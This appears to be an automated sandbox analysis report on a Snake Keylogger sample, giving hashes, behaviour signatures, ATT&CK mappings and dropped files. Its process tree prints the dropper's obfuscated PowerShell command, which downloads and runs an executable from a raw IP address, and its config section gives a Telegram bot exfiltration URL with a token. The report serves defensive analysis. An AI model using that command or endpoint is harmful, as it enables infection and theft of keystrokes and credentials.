snakekeylogger | 95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
16-10-2024 06:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

seethebesthtmlthingsreadyforgetme.hta
Size

129KB
MD5

03140c0995d8db21fe4fb2f030322615
SHA1

0199286b876a0d3e896b1830ff024555374e51f3
SHA256

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305
SHA512

9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9
SSDEEP

96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/1872-43-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1872-44-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1872-45-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1700	PowERShELL.Exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1700	PowERShELL.Exe
2904	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2324	taskhostw.exe

Loads dropped DLL 1 IoCs

pid	Process
1700	PowERShELL.Exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0008000000016cab-35.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2324 set thread context of 1872	2324	taskhostw.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowERShELL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1700	PowERShELL.Exe
2904	powershell.exe
1700	PowERShELL.Exe
1700	PowERShELL.Exe
1872	RegSvcs.exe
1872	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2324	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	PowERShELL.Exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1872	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 1700	2108	mshta.exe	31
PID 2108 wrote to memory of 1700	2108	mshta.exe	31
PID 2108 wrote to memory of 1700	2108	mshta.exe	31
PID 2108 wrote to memory of 1700	2108	mshta.exe	31
PID 1700 wrote to memory of 2904	1700	PowERShELL.Exe	33
PID 1700 wrote to memory of 2904	1700	PowERShELL.Exe	33
PID 1700 wrote to memory of 2904	1700	PowERShELL.Exe	33
PID 1700 wrote to memory of 2904	1700	PowERShELL.Exe	33
PID 1700 wrote to memory of 2736	1700	PowERShELL.Exe	34
PID 1700 wrote to memory of 2736	1700	PowERShELL.Exe	34
PID 1700 wrote to memory of 2736	1700	PowERShELL.Exe	34
PID 1700 wrote to memory of 2736	1700	PowERShELL.Exe	34
PID 2736 wrote to memory of 2996	2736	csc.exe	35
PID 2736 wrote to memory of 2996	2736	csc.exe	35
PID 2736 wrote to memory of 2996	2736	csc.exe	35
PID 2736 wrote to memory of 2996	2736	csc.exe	35
PID 1700 wrote to memory of 2324	1700	PowERShELL.Exe	37
PID 1700 wrote to memory of 2324	1700	PowERShELL.Exe	37
PID 1700 wrote to memory of 2324	1700	PowERShELL.Exe	37
PID 1700 wrote to memory of 2324	1700	PowERShELL.Exe	37
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38
PID 2324 wrote to memory of 1872	2324	taskhostw.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebesthtmlthingsreadyforgetme.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
  "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ai4jvbqj.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESED9B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCED9A.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2996
- - C:\Users\Admin\AppData\Roaming\taskhostw.exe
    "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESED9B.tmp

Filesize
1KB

MD5
aa64a94f8b0dd83dc6e97e16478d5e9d

SHA1
d158f2aa97bb5fe1720f5dd26a58d13d32265bdd

SHA256
3362192034858ec882110701f959212b4de2fb21c7d7bbd5f5d7041c127b41fe

SHA512
bc4752748327d9d89a7d7ddfbe3ed037d36cfd80707b64e379fe9532003983453b82b992a6fe9815d3d12b7d34287e07e7a25f14fb0473239c863c85518b3f1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ai4jvbqj.dll

Filesize
3KB

MD5
504891d6f0ca68f7e5664e8821848301

SHA1
a941c8e7a1c7c0ee903d25dc7db2538acdd3224b

SHA256
27f72bd3a89ba14db73621024a7b054c683dd02170614242168f4f8dc4520af4

SHA512
8ef9cf372dc45e5fcc1f056060376cbb4c18e179192d9c84fae233895b5870232ed10251679a61a36994929091f95113fba32d4adf2f09da55bd9a6ad7eda689

Download Submit
C:\Users\Admin\AppData\Local\Temp\ai4jvbqj.pdb

Filesize
7KB

MD5
75ef440077bbdc7c0c5e1df3a50fe329

SHA1
2fe5bf1c0d73554671b4b97acdf48b2beacc4db5

SHA256
b2238f630f63a8979ca01e592623835d8391af6aefb6c4feaede2cfbfa41aa74

SHA512
46b6b29c38c015c21f8563685400c62c337dd533507a95b18c0afc80c5c48f57bc8f61966d80dd73a588b480344784fec69975d4b447ec62843049ee4cd28b9e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4F54PL5TYQ1ILR5BRVL3.temp

Filesize
7KB

MD5
2e04fb5659d2fb8b1c0aa8b8304bdde2

SHA1
86099335b7e7caad8fb294f5c362343520756d4f

SHA256
22f348ad67ea302468e60e897cc8731a280cb22cbe4562c1cedda025ef7352f2

SHA512
a6cd242f0e7bd40d4f6a43fc33d30f8a03300667fd000759bd397cf8887da86bf6fde7e92ad91f3cdd6a258fa9e6bdc0e6480420ca8f4deedc3a59b337d019d5

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
938KB

MD5
6b4aad7f0941b424ba0a1875283fd7b6

SHA1
0312e216f8ee678cfb55bc938c24c8e2c9ece5a9

SHA256
74d35d82c03a46422ee0b10d62b8f587d0e4a86a8b89d58352a97208ddcf65cf

SHA512
4901b2f74afa67c60829d02c71009244f8971d6b5cc04bc7c4a4c9ebbfc6534f8c2dea543f1b3383d1de41b5ec78835c1c54ad77a03e555a1c5d5b474a738966

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCED9A.tmp

Filesize
652B

MD5
06d3eb41e9dbc6097684d4a41486438e

SHA1
6c4ffb0d92c2b7b2c357ad180a8ce330c51d1796

SHA256
9ff872c7b070c495013a38334ea1aa7ccf8bfcf8464f35cfbb2b69e0d144aad0

SHA512
3d8293447cf2b1d8cb6e97cf7cfa58a801b58cd4ae6295d86988e7be726edcc721f26915df1b8f13629c74418a945fcb5c6f548254254e37d9c1f1d8be8eb396

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ai4jvbqj.0.cs

Filesize
474B

MD5
0e03065f874d09489b23d564815660e8

SHA1
005cc140f8d9ad68a7863aee4da445e466c98379

SHA256
9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

SHA512
a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ai4jvbqj.cmdline

Filesize
309B

MD5
3c03b32f1a1bf5adfe527f48ecdcf7fd

SHA1
3b3309607264fe20d6fd65f66acf97aab7438322

SHA256
603323587883cedd7d40202eebd8b9f26cbe6a94768b52b7958eea655ffa2503

SHA512
7536d1ee238f89b38a4d1e0fb9c23fda57249b5bc3f4922e93ae108d14e3795e075164b77aa271c318dab9da8889861c6556b34426ec40106c40e709b49fffd8

Download Submit
memory/1872-43-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1872-44-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1872-45-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download